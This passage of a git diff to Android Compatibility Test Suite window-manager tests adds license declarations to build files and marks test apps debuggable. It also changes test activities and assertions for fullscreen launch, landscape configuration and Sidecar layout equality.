+++ b/tests/framework/base/windowmanager/alertwindowappsdk25/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 filegroup {
     name: "cts-wm-alertwindow-test-base",
     srcs: ["src/android/server/wm/alertwindowappsdk25/AlertWindowTestBaseActivity.java"],
diff --git a/tests/framework/base/windowmanager/alertwindowservice/Android.bp b/tests/framework/base/windowmanager/alertwindowservice/Android.bp
index 82eeadb..5000b89 100644
--- a/tests/framework/base/windowmanager/alertwindowservice/Android.bp
+++ b/tests/framework/base/windowmanager/alertwindowservice/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsAlertWindowService",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/app/Android.bp b/tests/framework/base/windowmanager/app/Android.bp
index 0af9f75c..ce504cc 100644
--- a/tests/framework/base/windowmanager/app/Android.bp
+++ b/tests/framework/base/windowmanager/app/Android.bp
@@ -12,18 +12,22 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsDeviceServicesTestApp",
     defaults: ["cts_support_defaults"],
 
     static_libs: [
         "cts-wm-app-base",
-         // Used by InputMethodTestActivity for ImeAwareEditText.
-        "compatibility-device-util-axt",
     ],
 
     srcs: [
         "src/**/*.java",
+        // Used by InputMethodTestActivity for ImeAwareEditText.
+        ":compatibility-device-util-nodeps",
         ":CtsVerifierMockVrListenerServiceFiles",
     ],
 
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index ff8bb8a..c6ab9f2 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -24,7 +24,7 @@
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.BIND_VOICE_INTERACTION" />
 
-    <application>
+    <application android:debuggable="true">
         <activity android:name=".TestActivity"
                 android:resizeableActivity="true"
                 android:supportsPictureInPicture="true"
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/AssistantActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/AssistantActivity.java
index 4a1a9a0..82c3770 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/AssistantActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/AssistantActivity.java
@@ -17,6 +17,7 @@
 package android.server.wm.app;
 
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_ASSISTANT;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.server.wm.app.Components.AssistantActivity.EXTRA_ASSISTANT_DISPLAY_ID;
@@ -46,14 +47,13 @@
             final Intent launchIntent = new Intent();
             launchIntent.setComponent(launchActivity)
                     .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+            final ActivityOptions activityOptions = ActivityOptions.makeBasic();
+            activityOptions.setLaunchWindowingMode(WINDOWING_MODE_FULLSCREEN);
             if (getIntent().hasExtra(EXTRA_ASSISTANT_DISPLAY_ID)) {
-                ActivityOptions displayOptions = ActivityOptions.makeBasic();
-                displayOptions.setLaunchDisplayId(Integer.parseInt(getIntent()
+                activityOptions.setLaunchDisplayId(Integer.parseInt(getIntent()
                         .getStringExtra(EXTRA_ASSISTANT_DISPLAY_ID)));
-                startActivity(launchIntent, displayOptions.toBundle());
-            } else {
-                startActivity(launchIntent);
             }
+            startActivity(launchIntent, activityOptions.toBundle());
         }
 
         // Enter pip if requested
@@ -84,6 +84,7 @@
 
         final ActivityOptions options = ActivityOptions.makeBasic();
         options.setLaunchActivityType(ACTIVITY_TYPE_ASSISTANT);
+        options.setLaunchWindowingMode(WINDOWING_MODE_FULLSCREEN);
         caller.startActivity(intent, options.toBundle());
     }
 }
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
index bace877..cc7ed6d 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
@@ -306,6 +306,7 @@
         public static final String EXTRA_APP_CONFIG_INFO = "app_config_info";
         public static final String EXTRA_CONFIG_INFO_IN_ON_CREATE = "config_info_in_on_create";
         public static final String EXTRA_DISPLAY_REAL_SIZE = "display_real_size";
+        public static final String EXTRA_SYSTEM_RESOURCES_CONFIG_INFO = "sys_config_info";
     }
 
     /** Extra key constants for {@link android.server.wm.app.FontScaleActivity}. */
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LandscapeOrientationActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LandscapeOrientationActivity.java
index dd1ad87..8ceeab2 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LandscapeOrientationActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LandscapeOrientationActivity.java
@@ -19,9 +19,11 @@
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_APP_CONFIG_INFO;
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_CONFIG_INFO_IN_ON_CREATE;
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_DISPLAY_REAL_SIZE;
+import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_SYSTEM_RESOURCES_CONFIG_INFO;
 
 import android.app.Application;
 import android.content.res.Configuration;
+import android.content.res.Resources;
 import android.graphics.Point;
 import android.hardware.display.DisplayManager;
 import android.os.Bundle;
@@ -50,6 +52,8 @@
                     // own display adjustments.
                     app.getSystemService(DisplayManager.class)
                             .getDisplay(Display.DEFAULT_DISPLAY)));
+            extras.putParcelable(EXTRA_SYSTEM_RESOURCES_CONFIG_INFO,
+                    new ConfigInfo(Resources.getSystem()));
             client.putExtras(extras);
         });
     }
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/TranslucentAssistantActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TranslucentAssistantActivity.java
index 3806377..98bb6a2 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/TranslucentAssistantActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TranslucentAssistantActivity.java
@@ -17,6 +17,7 @@
 package android.server.wm.app;
 
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_ASSISTANT;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 
@@ -40,6 +41,7 @@
 
         final ActivityOptions options = ActivityOptions.makeBasic();
         options.setLaunchActivityType(ACTIVITY_TYPE_ASSISTANT);
+        options.setLaunchWindowingMode(WINDOWING_MODE_FULLSCREEN);
         caller.startActivity(intent, options.toBundle());
     }
 }
diff --git a/tests/framework/base/windowmanager/app27/Android.bp b/tests/framework/base/windowmanager/app27/Android.bp
index a9cacef..28ed703 100644
--- a/tests/framework/base/windowmanager/app27/Android.bp
+++ b/tests/framework/base/windowmanager/app27/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsDeviceServicesTestApp27",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/app27/AndroidManifest.xml b/tests/framework/base/windowmanager/app27/AndroidManifest.xml
index 66da0e6..47ec0fe 100755
--- a/tests/framework/base/windowmanager/app27/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app27/AndroidManifest.xml
@@ -18,7 +18,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.server.wm.app27">
 
-    <application android:label="App27">
+    <application android:label="App27"
+                 android:debuggable="true">
         <activity android:name="android.server.wm.app.LaunchingActivity"
                   android:resizeableActivity="true"
                   android:supportsPictureInPicture="true"
diff --git a/tests/framework/base/windowmanager/appAShareUid/Android.bp b/tests/framework/base/windowmanager/appAShareUid/Android.bp
index 96e644d..33abd33 100644
--- a/tests/framework/base/windowmanager/appAShareUid/Android.bp
+++ b/tests/framework/base/windowmanager/appAShareUid/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsDeviceServicesTestShareUidAppA",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/appAShareUid/AndroidManifest.xml b/tests/framework/base/windowmanager/appAShareUid/AndroidManifest.xml
index 0446e1c..54c3d27 100644
--- a/tests/framework/base/windowmanager/appAShareUid/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/appAShareUid/AndroidManifest.xml
@@ -19,7 +19,7 @@
           package="android.server.wm.shareuid.a"
           android:sharedUserId="android.server.wm.shareuid">
 
-    <application>
+    <application android:debuggable="true">
         <activity
             android:name=".TestActivityWithSameAffinity"
             android:exported="true"
diff --git a/tests/framework/base/windowmanager/appBShareUid/Android.bp b/tests/framework/base/windowmanager/appBShareUid/Android.bp
index 01513e3..0978a8f 100644
--- a/tests/framework/base/windowmanager/appBShareUid/Android.bp
+++ b/tests/framework/base/windowmanager/appBShareUid/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsDeviceServicesTestShareUidAppB",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/appBShareUid/AndroidManifest.xml b/tests/framework/base/windowmanager/appBShareUid/AndroidManifest.xml
index 8586006..e7e6dec 100644
--- a/tests/framework/base/windowmanager/appBShareUid/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/appBShareUid/AndroidManifest.xml
@@ -19,7 +19,7 @@
           package="android.server.wm.shareuid.b"
           android:sharedUserId="android.server.wm.shareuid">
 
-    <application>
+    <application android:debuggable="true">
         <activity
             android:name=".TestActivityWithSameAffinityShareUid"
             android:exported="true"
diff --git a/tests/framework/base/windowmanager/appDeprecatedSdk/Android.bp b/tests/framework/base/windowmanager/appDeprecatedSdk/Android.bp
index 756bbc9..70d27ac 100644
--- a/tests/framework/base/windowmanager/appDeprecatedSdk/Android.bp
+++ b/tests/framework/base/windowmanager/appDeprecatedSdk/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsDeviceDeprecatedSdkApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/appDisplaySize/Android.bp b/tests/framework/base/windowmanager/appDisplaySize/Android.bp
index b4e6a4a..541f66d 100644
--- a/tests/framework/base/windowmanager/appDisplaySize/Android.bp
+++ b/tests/framework/base/windowmanager/appDisplaySize/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsDeviceDisplaySizeApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/appPrereleaseSdk/Android.bp b/tests/framework/base/windowmanager/appPrereleaseSdk/Android.bp
index eab5460..ad7323f 100644
--- a/tests/framework/base/windowmanager/appPrereleaseSdk/Android.bp
+++ b/tests/framework/base/windowmanager/appPrereleaseSdk/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsDevicePrereleaseSdkApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/appPrereleaseSdk/fake-framework/Android.bp b/tests/framework/base/windowmanager/appPrereleaseSdk/fake-framework/Android.bp
index 38e51932..09cc969 100644
--- a/tests/framework/base/windowmanager/appPrereleaseSdk/fake-framework/Android.bp
+++ b/tests/framework/base/windowmanager/appPrereleaseSdk/fake-framework/Android.bp
@@ -18,6 +18,10 @@
 // testing what happens when an app linked against a pre-release SDK is installed
 // on release device.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_app {
     name: "fake-framework",
     installable: false,
diff --git a/tests/framework/base/windowmanager/appProfileable/Android.bp b/tests/framework/base/windowmanager/appProfileable/Android.bp
index 177062a..03368fc 100644
--- a/tests/framework/base/windowmanager/appProfileable/Android.bp
+++ b/tests/framework/base/windowmanager/appProfileable/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsDeviceProfileableApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/appSecondUid/Android.bp b/tests/framework/base/windowmanager/appSecondUid/Android.bp
index 9d2aab6..8f7e1b9 100644
--- a/tests/framework/base/windowmanager/appSecondUid/Android.bp
+++ b/tests/framework/base/windowmanager/appSecondUid/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsDeviceServicesTestSecondApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml b/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml
index c68a8a7..f870a59 100644
--- a/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml
@@ -18,7 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.server.wm.second">
 
-    <application>
+    <application android:debuggable="true">
         <activity
             android:name=".EmbeddingActivity"
             android:resizeableActivity="true"
diff --git a/tests/framework/base/windowmanager/appThirdUid/Android.bp b/tests/framework/base/windowmanager/appThirdUid/Android.bp
index c333a56..7e2616c 100644
--- a/tests/framework/base/windowmanager/appThirdUid/Android.bp
+++ b/tests/framework/base/windowmanager/appThirdUid/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsDeviceServicesTestThirdApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/app_base/Android.bp b/tests/framework/base/windowmanager/app_base/Android.bp
index 113a65d..54ff30c 100644
--- a/tests/framework/base/windowmanager/app_base/Android.bp
+++ b/tests/framework/base/windowmanager/app_base/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 filegroup {
     name: "cts-wm-components-base",
     srcs: ["**/ComponentsBase.java"],
diff --git a/tests/framework/base/windowmanager/backgroundactivity/Android.bp b/tests/framework/base/windowmanager/backgroundactivity/Android.bp
index 8b4e970..99578c9 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/Android.bp
+++ b/tests/framework/base/windowmanager/backgroundactivity/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsActivityManagerBackgroundActivityTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/Android.bp b/tests/framework/base/windowmanager/backgroundactivity/AppA/Android.bp
index 47e56e5..45bb0cb 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/Android.bp
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsBackgroundActivityAppA",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppB/Android.bp b/tests/framework/base/windowmanager/backgroundactivity/AppB/Android.bp
index b2482b3..42e69b5 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AppB/Android.bp
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppB/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsBackgroundActivityAppB",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/backgroundactivity/common/Android.bp b/tests/framework/base/windowmanager/backgroundactivity/common/Android.bp
index 65f6d51..58843ed 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/common/Android.bp
+++ b/tests/framework/base/windowmanager/backgroundactivity/common/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test {
     name: "cts-background-activity-common",
 
diff --git a/tests/framework/base/windowmanager/dndsourceapp/Android.bp b/tests/framework/base/windowmanager/dndsourceapp/Android.bp
index 4f7734d..0622ad8 100644
--- a/tests/framework/base/windowmanager/dndsourceapp/Android.bp
+++ b/tests/framework/base/windowmanager/dndsourceapp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsDragAndDropSourceApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/dndtargetapp/Android.bp b/tests/framework/base/windowmanager/dndtargetapp/Android.bp
index bf7372b..96c9d81 100644
--- a/tests/framework/base/windowmanager/dndtargetapp/Android.bp
+++ b/tests/framework/base/windowmanager/dndtargetapp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsDragAndDropTargetApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/dndtargetappsdk23/Android.bp b/tests/framework/base/windowmanager/dndtargetappsdk23/Android.bp
index b658c2a..d2ee968 100644
--- a/tests/framework/base/windowmanager/dndtargetappsdk23/Android.bp
+++ b/tests/framework/base/windowmanager/dndtargetappsdk23/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsDragAndDropTargetAppSdk23",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/jetpack/Android.bp b/tests/framework/base/windowmanager/jetpack/Android.bp
index ec0c189d..5dc3218 100644
--- a/tests/framework/base/windowmanager/jetpack/Android.bp
+++ b/tests/framework/base/windowmanager/jetpack/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_library_import {
     name: "cts_window-extensions_nodeps",
     aars: ["window-extensions-release.aar"],
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
index 2552686..b8b7f25 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
@@ -136,8 +136,12 @@
             assertThat(featureRect.top).isAtLeast(0);
             assertThat(featureRect.right).isAtLeast(0);
             assertThat(featureRect.bottom).isAtLeast(0);
-            assertThat(featureRect.right).isAtMost(mActivity.getWidth());
-            assertThat(featureRect.bottom).isAtMost(mActivity.getHeight());
+
+            final Rect activityBounds =
+                    mActivity.getWindowManager().getCurrentWindowMetrics().getBounds();
+
+            assertThat(featureRect.right).isAtMost(activityBounds.width());
+            assertThat(featureRect.bottom).isAtMost(activityBounds.height());
         }
     }
 
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/sidecarwrapperimpl/TestSidecarWindowLayoutInfo.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/sidecarwrapperimpl/TestSidecarWindowLayoutInfo.java
index e784351..31e496ba 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/sidecarwrapperimpl/TestSidecarWindowLayoutInfo.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/sidecarwrapperimpl/TestSidecarWindowLayoutInfo.java
@@ -73,11 +73,55 @@
             return false;
         }
         final TestSidecarWindowLayoutInfo other = (TestSidecarWindowLayoutInfo) obj;
-        return mSidecarWindowLayoutInfo.equals(other.mSidecarWindowLayoutInfo);
+        return areSidecarWindowLayoutInfoEqual(mSidecarWindowLayoutInfo,
+                other.mSidecarWindowLayoutInfo);
     }
 
     @Override
     public int hashCode() {
         return mSidecarWindowLayoutInfo.hashCode();
     }
+
+    /**
+     * Compares two {@link SidecarWindowLayoutInfo} with respect to their core data. This method is
+     * necessary because {@link SidecarWindowLayoutInfo} did not implement {@code equals}. Also
+     * Sidecar has been deprecated and frozen, so this method is stable.
+     *
+     * @param lhs {@link SidecarWindowLayoutInfo} to be compared.
+     * @param rhs {@link SidecarWindowLayoutInfo} to be compared.
+     * @return {@code true} if objects are equal with respect to data otherwise return
+     * {@code false}.
+     */
+    private static boolean areSidecarWindowLayoutInfoEqual(@NonNull SidecarWindowLayoutInfo lhs,
+            @NonNull SidecarWindowLayoutInfo rhs) {
+        if (lhs.displayFeatures == rhs.displayFeatures) {
+            return true;
+        }
+        if (lhs.displayFeatures == null || rhs.displayFeatures == null
+                || lhs.displayFeatures.size() != rhs.displayFeatures.size()) {
+            return false;
+        }
+        for (int i = 0; i < lhs.displayFeatures.size(); i++) {
+            if (!areSidecarDisplayFeatureEqual(lhs.displayFeatures.get(i),
+                    rhs.displayFeatures.get(i))) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    /**
+     * Compares two {@link SidecarDisplayFeature} with respect to their core data.  This method is
+     * necessary because {@link SidecarWindowLayoutInfo} did not implement {@code equals}.  Also
+     * Sidecar has been deprecated and frozen, so this method is stable.
+     *
+     * @param lhs {@link SidecarDisplayFeature} to be compared.
+     * @param rhs {@link SidecarDisplayFeature} to be compared.
+     * @return {@code true} if objects are equal with respect to data otherwise return
+     * {@code false}.
+     */
+    private static boolean areSidecarDisplayFeatureEqual(@NonNull SidecarDisplayFeature lhs,
+            @NonNull SidecarDisplayFeature rhs) {
+        return lhs.getType() == rhs.getType() && lhs.getRect().equals(rhs.getRect());
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index b052e88..7fda85e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -139,7 +139,7 @@
      */
     @Test
     public void testHomeVisibleOnActivityTaskPinned() throws Exception {
-        if (!supportsPip()) {
+        if (!supportsPip() || !hasHomeScreen()) {
             return;
         }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index 3fcd640..191a70b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -40,6 +40,7 @@
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_APP_CONFIG_INFO;
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_CONFIG_INFO_IN_ON_CREATE;
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_DISPLAY_REAL_SIZE;
+import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_SYSTEM_RESOURCES_CONFIG_INFO;
 import static android.server.wm.translucentapp26.Components.SDK26_TRANSLUCENT_LANDSCAPE_ACTIVITY;
 import static android.view.Surface.ROTATION_0;
 import static android.view.Surface.ROTATION_180;
@@ -59,6 +60,7 @@
 
 import android.content.ComponentName;
 import android.content.Context;
+import android.content.res.Resources;
 import android.graphics.Point;
 import android.graphics.Rect;
 import android.hardware.display.DisplayManager;
@@ -68,6 +70,7 @@
 import android.server.wm.CommandSession.ConfigInfo;
 import android.server.wm.CommandSession.SizeInfo;
 import android.server.wm.TestJournalProvider.TestJournalContainer;
+import android.util.DisplayMetrics;
 import android.view.Display;
 
 import org.junit.Test;
@@ -472,6 +475,9 @@
         final Point onCreateRealDisplaySize = extras.getParcelable(EXTRA_DISPLAY_REAL_SIZE);
         final ConfigInfo onCreateConfigInfo = extras.getParcelable(EXTRA_CONFIG_INFO_IN_ON_CREATE);
         final SizeInfo onCreateSize = onCreateConfigInfo.sizeInfo;
+        final ConfigInfo globalConfigInfo =
+                extras.getParcelable(EXTRA_SYSTEM_RESOURCES_CONFIG_INFO);
+        final SizeInfo globalSizeInfo = globalConfigInfo.sizeInfo;
 
         assertEquals("The last reported size should be the same as the one from onCreate",
                 reportedSizes, onCreateConfigInfo.sizeInfo);
@@ -485,6 +491,10 @@
                 expectedRotation, onCreateConfigInfo.rotation);
         assertEquals("The application should get the final display rotation in onCreate",
                 expectedRotation, appConfigInfo.rotation);
+        assertEquals("The orientation of application must be landscape",
+                ORIENTATION_LANDSCAPE, appConfigInfo.sizeInfo.orientation);
+        assertEquals("The orientation of system resources must be landscape",
+                ORIENTATION_LANDSCAPE, globalSizeInfo.orientation);
         assertEquals("The activity should get the final display size in onCreate",
                 expectedRealDisplaySize, onCreateRealDisplaySize);
 
@@ -493,6 +503,13 @@
                 onCreateSize.displayWidth > onCreateSize.displayHeight);
         assertEquals("The application should get the same orientation", isLandscape,
                 appConfigInfo.sizeInfo.displayWidth > appConfigInfo.sizeInfo.displayHeight);
+        assertEquals("The app display metrics must be landscape", isLandscape,
+                appConfigInfo.sizeInfo.metricsWidth > appConfigInfo.sizeInfo.metricsHeight);
+
+        final DisplayMetrics globalMetrics = Resources.getSystem().getDisplayMetrics();
+        assertEquals("The display metrics of system resources must be landscape",
+                new Point(globalMetrics.widthPixels, globalMetrics.heightPixels),
+                new Point(globalSizeInfo.metricsWidth, globalSizeInfo.metricsHeight));
     }
 
     @Test
@@ -600,8 +617,8 @@
 
         // Start resizeable activity that handles configuration changes.
         separateTestJournal();
-        launchActivity(TEST_ACTIVITY);
-        launchActivity(RESIZEABLE_ACTIVITY);
+        launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+        launchActivity(RESIZEABLE_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         mWmState.assertVisibility(RESIZEABLE_ACTIVITY, true /* visible */);
 
         final int displayId = mWmState.getDisplayByActivity(RESIZEABLE_ACTIVITY);
@@ -647,8 +664,10 @@
 
         TestActivitySession<ConfigChangeHandlingActivity> activitySession
                 = createManagedTestActivitySession();
-        activitySession.launchTestActivityOnDisplaySync(ConfigChangeHandlingActivity.class,
-                Display.DEFAULT_DISPLAY);
+        activitySession.launchTestActivityOnDisplaySync(
+                ConfigChangeHandlingActivity.class,
+                Display.DEFAULT_DISPLAY,
+                WINDOWING_MODE_FULLSCREEN);
         final ConfigChangeHandlingActivity activity = activitySession.getActivity();
 
         VirtualDisplaySession virtualDisplaySession = createManagedVirtualDisplaySession();
@@ -830,7 +849,7 @@
 
         // Move activity back to docked stack.
         separateTestJournal();
-        setActivityTaskWindowingMode(activityName, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        moveTaskToPrimarySplitScreen(mWmState.getTaskByActivity(activityName).mTaskId);
         final SizeInfo finalDockedSizes = getActivityDisplaySize(activityName);
 
         // After activity configuration was changed twice it must report same size as original one.
@@ -869,7 +888,10 @@
      * that are smaller than the dockedSizes.
      */
     private static void assertSizesAreSane(SizeInfo fullscreenSizes, SizeInfo dockedSizes) {
-        if (isDisplayPortrait()) {
+        final boolean isHorizontalDivision =
+                fullscreenSizes.displayHeight - dockedSizes.displayHeight >
+                fullscreenSizes.displayWidth - dockedSizes.displayWidth;
+        if (isHorizontalDivision) {
             assertThat(dockedSizes.displayHeight, lessThan(fullscreenSizes.displayHeight));
             assertThat(dockedSizes.heightDp, lessThan(fullscreenSizes.heightDp));
             assertThat(dockedSizes.metricsHeight, lessThan(fullscreenSizes.metricsHeight));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
index 267bec9..d777db2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
